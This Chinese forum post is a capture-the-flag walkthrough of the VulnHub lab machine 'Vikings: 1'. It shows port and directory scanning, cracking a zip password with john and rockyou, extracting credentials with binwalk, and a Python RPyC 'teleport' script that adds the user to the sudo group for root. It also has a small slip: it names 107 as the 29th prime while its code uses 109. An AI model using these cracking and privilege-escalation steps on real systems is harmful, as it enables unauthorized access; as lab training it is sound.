本帖最后由 Happiness 于 2023-12-25 15:52 编辑
0x01 靶机信息
- > Name:Vikings: 1
- > 发布日期:2021 年 9 月 4 日
- > 作者:lucky thandel
- > 系列:Vikings
- > 难度:中等
- > 简介:充满挑战的CTF机器,做看得见的事,不做兔子洞,学习新东西,并确保先枚举然后再破解。Discord- luckythandel#6053 {任意提示}
- > 下载链接:(https://download.vulnhub.com/vikings/Vikings.ova)
- > MD5:D5F6A19BBEA617D7C7C46E21C518F698
- > 网络:DHCP自动分配
0x02 Write-Up 2.1 主机探测 使用Advanced Port Scanner扫描主机和端口 目标机:192.168.181.148,开放了22和80端口
访问站点
2.2 7kbscan目录遍历 扫描发现images、war.txt路径
war.txt指向/war-is-over目录
目录下是base64编码
- curl http://192.168.181.148/site/war-is-over/ | base64 -d > war
复制代码base64解码输出到文件war 查看文件类型 文件类型为zip压缩文件
war有密码保护,里面有个king文件
2.3 zip2john 破解zip密码 - zip2john war > war.hash
- john --wordlist=/usr/share/wordlists/rockyou.txt war.hash
复制代码破解密码:ragnarok123
king是一张图片
2.4 binwalk分离文件 使用binwalk检查文件并分离,发现15D03F.zip和user文件 检查king文件是否有包含其他内容
发现用户名密码 - ssh floki@192.168.181.148
复制代码用户名floki,密码f@m0usboatbuilde7
发现两个文件readme.txt和boat
- I am the famous boat builder Floki. We raided Paris this with our all might yet we failed. We don't know where Ragnar is after the war. He is in so grief right now. I want to apologise to him.
- Because it was I who was leading all the Vikings. I need to find him. He can be anywhere.
- I need to create this `boat` to find Ragnar
- 翻译:我是著名的造船师弗洛基。我们竭尽全力袭击了巴黎,但还是失败了。我们不知道战后拉格纳在哪里。他现在非常悲伤。我想向他道歉。
- 因为是我领导着所有维京人。我需要找到他。他可以在任何地方。
- 我需要创造这艘“船”来找到拉格纳
复制代码提示我们找用户Ragnar的密码 - #Printable chars are your ally.
- #num = 29th prime-number.
- collatz-conjecture(num)
- 翻译:
- #可打印的字符是你的盟友。
- #num = 第 29 个质数。
- Collatz 猜想(num)
复制代码查询到第29个质数为107,编写脚本计算collatz-conjecture(num) - #include <iostream>
- void Collatz(int n,int a[])
- {
- int num = 0;
- a[num] = n;
- std::cout << a[num];
- while(n>1)
- {
- if (n % 2 == 0)
- {
- n = n / 2;
- }
- else
- {
- n = n * 3 + 1;
- }
- if (n <= 255)
- {
- ++num;
- a[num] = n;
- std::cout << ',' << a[num];
- }
-
- }
-
- }
- int main()
- {
- int a[100];
- Collatz(109,a);
- }
复制代码
转换为字符,格式用上文提到的Printable,得到mR)|>^/Gky[gz=\.F#j5P(
2.6 登录Ragnar 提示我们ragnar没有sudo的权限
拿到了user的flag
查看profile文件发现有权限执行rpyc
官网查询该函数可以在另一端执行函数
默认端口18812
查看所有tcp端口 rpyc程序正在执行
2.7 提权 利用teleport提权 - import rpyc
- def getshell():
- import os
- os.system("sudo usermod -aG sudo ragnar")
- conn=rpyc.classic.connect("localhost")
- fn = conn.teleport(getshell)
- fn()
复制代码
重新登录,已经被添加进sudo组
获得root flag
|